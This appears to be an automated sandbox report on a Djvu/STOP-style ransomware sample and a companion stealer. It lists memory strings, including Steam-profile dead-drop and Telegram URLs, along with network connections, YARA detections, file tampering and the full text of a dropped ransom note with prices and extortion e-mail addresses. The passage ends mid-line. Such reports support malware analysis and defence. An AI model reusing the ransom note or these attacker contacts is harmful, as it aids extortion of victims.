Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=SPpMitTYp6ku&l=en
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=1_BxDGVvfXwv&am
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Source: rq0mVjR9ar.exe, 00000006.00000003.2194758143.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/react-native-community/react-native-netinfo
Source: build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: rq0mVjR9ar.exe, 00000006.00000003.2192915009.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://javadl-esd-secure.oracle.com/update/1.8.0/map-1.8.0.xml)
Source: build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: build2.exe, 0000000A.00000002.2359644104.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2193224734.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: build2.exe, 0000000A.00000002.2359644104.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2193224734.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: rq0mVjR9ar.exe, 00000006.00000003.2191242950.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://mrodevicemgr.officeapps.live.com/mrodevicemgrsvc/api
Source: build2.exe, 0000000A.00000002.2359644104.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2193224734.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: build2.exe, 0000000A.00000003.2193224734.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: build2.exe, 0000000A.00000002.2359644104.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2193224734.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: build2.exe, 0000000A.00000002.2359644104.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2193224734.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: build2.exe, 0000000A.00000002.2359644104.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2193224734.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: build2.exe, 0000000A.00000002.2359644104.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2193224734.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: build2.exe, 0000000A.00000002.2359644104.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2193224734.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: build2.exe, 0000000A.00000002.2359644104.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2193224734.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: build2.exe, 0000000A.00000002.2359644104.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2193224734.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199673019888
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199673019888
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199673019888/badges
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199673019888/inventory/
Source: build2.exe, 00000009.00000002.2183817210.0000000001CE0000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199673019888ve74rMozilla/5.0
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199673019888y
Source: build2.exe, 0000000A.00000002.2359644104.00000000009D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/sM
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: build2.exe, 0000000A.00000002.2359644104.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2193224734.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: build2.exe, 00000009.00000002.2183817210.0000000001CE0000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/irfail
Source: build2.exe, 00000009.00000002.2183817210.0000000001CE0000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/irfailAt
Source: rq0mVjR9ar.exe, 00000006.00000002.2614167734.00000000006D4000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2612545007.00000000030DC000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2612390939.00000000006D3000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2613172673.00000000030DC000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000008.00000002.4522084150.0000000000603000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27
Source: build2.exe, 0000000A.00000002.2359644104.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2193224734.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: build2.exe, 0000000A.00000003.2193224734.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: build2.exe, 0000000A.00000003.2193224734.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: build2.exe, 0000000A.00000002.2359644104.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2193224734.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: build2.exe, 0000000A.00000002.2359644104.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2193224734.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.6:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.6:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.6:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 96.17.209.196:443 -> 192.168.2.6:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.6:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.6:49724 version: TLS 1.2

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe

Code function: 2_2_004822E0 CreateDCA,CreateCompatibleDC,GetDeviceCaps,GetDeviceCaps,GetDeviceCaps,CreateCompatibleBitmap,SelectObject,GetObjectA,BitBlt,GetBitmapBits,SelectObject,DeleteObject,DeleteDC,DeleteDC,DeleteDC,

2_2_004822E0

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe

File created: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Jump to dropped file

Spam, unwanted Advertisements and Ransom Demands

Found ransom note / readme

Source: C:\_README.txt

Dropped file: ATTENTION!Don't worry, you can return all your files!All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.The only method of recovering files is to purchase decrypt tool and unique key for you.This software will decrypt all your encrypted files.What guarantees you have?You can send one of your encrypted file from your PC and we decrypt it for free.But we can decrypt only 1 file for free. File must not contain valuable information.Do not ask assistants from youtube and recovery data sites for help in recovering your data.They can use your free decryption quota and scam you.Our contact is emails in this text document only.You can get and look video overview decrypt tool:https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27Price of private key and decrypt software is $999.Discount 50% available if you contact us first 72 hours, that's price for you is $499.Please note that you'll never restore your data without payment.Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.To get this software you need write on our e-mail:support@freshingmail.topReserve e-mail address to contact us:datarestorehelpyou@airmail.ccYour personal ID:0863PsawqSr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5

Jump to dropped file

Yara detected Babuk Ransomware

Source: Yara match	File source: Process Memory Space: rq0mVjR9ar.exe PID: 1320, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rq0mVjR9ar.exe PID: 5156, type: MEMORYSTR

Yara detected Djvu Ransomware

Source: Yara match	File source: 8.2.rq0mVjR9ar.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rq0mVjR9ar.exe.5e515a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.rq0mVjR9ar.exe.5dd15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rq0mVjR9ar.exe.5e215a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rq0mVjR9ar.exe.5d915a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rq0mVjR9ar.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.rq0mVjR9ar.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rq0mVjR9ar.exe.5df15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rq0mVjR9ar.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.rq0mVjR9ar.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rq0mVjR9ar.exe.5e515a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rq0mVjR9ar.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.rq0mVjR9ar.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.rq0mVjR9ar.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rq0mVjR9ar.exe.5df15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.rq0mVjR9ar.exe.5dd15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rq0mVjR9ar.exe.5e215a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rq0mVjR9ar.exe.5d915a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rq0mVjR9ar.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.rq0mVjR9ar.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.4521439007.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2489597512.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2096673431.0000000005E50000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2257030961.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2501010675.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2241405152.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2113665368.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rq0mVjR9ar.exe PID: 6764, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rq0mVjR9ar.exe PID: 4324, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rq0mVjR9ar.exe PID: 5792, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rq0mVjR9ar.exe PID: 1320, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rq0mVjR9ar.exe PID: 3984, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rq0mVjR9ar.exe PID: 5156, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rq0mVjR9ar.exe PID: 2496, type: MEMORYSTR

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File moved: C:\Users\user\Desktop\MXPXCVPDVN\GAOBCVIQIJ.pdf	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File deleted: C:\Users\user\Desktop\MXPXCVPDVN\GAOBCVIQIJ.pdf	Jump to behavior
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	File moved: C:\Users\user\Desktop\MXPXCVPDVN\BNAGMGSPLO.png
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	File deleted: C:\Users\user\Desktop\MXPXCVPDVN\BNAGMGSPLO.png
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File moved: C:\Users\user\Desktop\MXPXCVPDVN.docx	Jump to behavior

Writes a notice file (html or txt) to demand a ransom

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{c82d26a9-b16c-48ba-9444-88303f538f65}\appsglobals.txt -> decrypter\dvddecrypter.exe12438{6d809377-6af0-444b-8957-a3773f02200e}\renderdoc\qrenderdoc.exe12438{6d809377-6af0-444b-8957-a3773f02200e}\microsoft system center 2012 r2\service manager\microsoft.enterprisemanagement.servicemanager.ui.console.exe12438microsoft.appv.603b45325cf2a147a217bc0826e85cce12439{7c5a40ef-a0fb-4bfc-874a-c0f2e0b9fa8e}\pro evolution soccer 2018\pes2018.exe12439c:\ignition\ignitioncasino.exe12440{7c5a40ef-a0fb-4bfc-874a-c0f2e0b9fa8e}\splashdata\splashid safe\splashid safe.exe12440{6d809377-6af0-444b-8957-a3773f02200e}\native instruments\komplete kontrol\komplete kontrol.exe1244025342asdf3333.stoppuhrtimer_1xbryz0n7krfa!app12441{6d809377-6af0-444b-8957-a3773f02200e}\owasp\zed attack proxy\zap.exe12441{6d809377-6af0-444b-8957-a3773f02200e}\dell\toad for oracle 2015 r2 suite\toad for oracle 12.8\toad.exe12441{7c5a40ef-a0fb-4bfc-874a-c0f2e0b9fa8e}\mysql\mysql workbench 6.0 ce\mysqlworkbench.exe12441212377tik.7tik-tiktokforwindows_da70t93mgq52j!app12442{7c	Jump to dropped 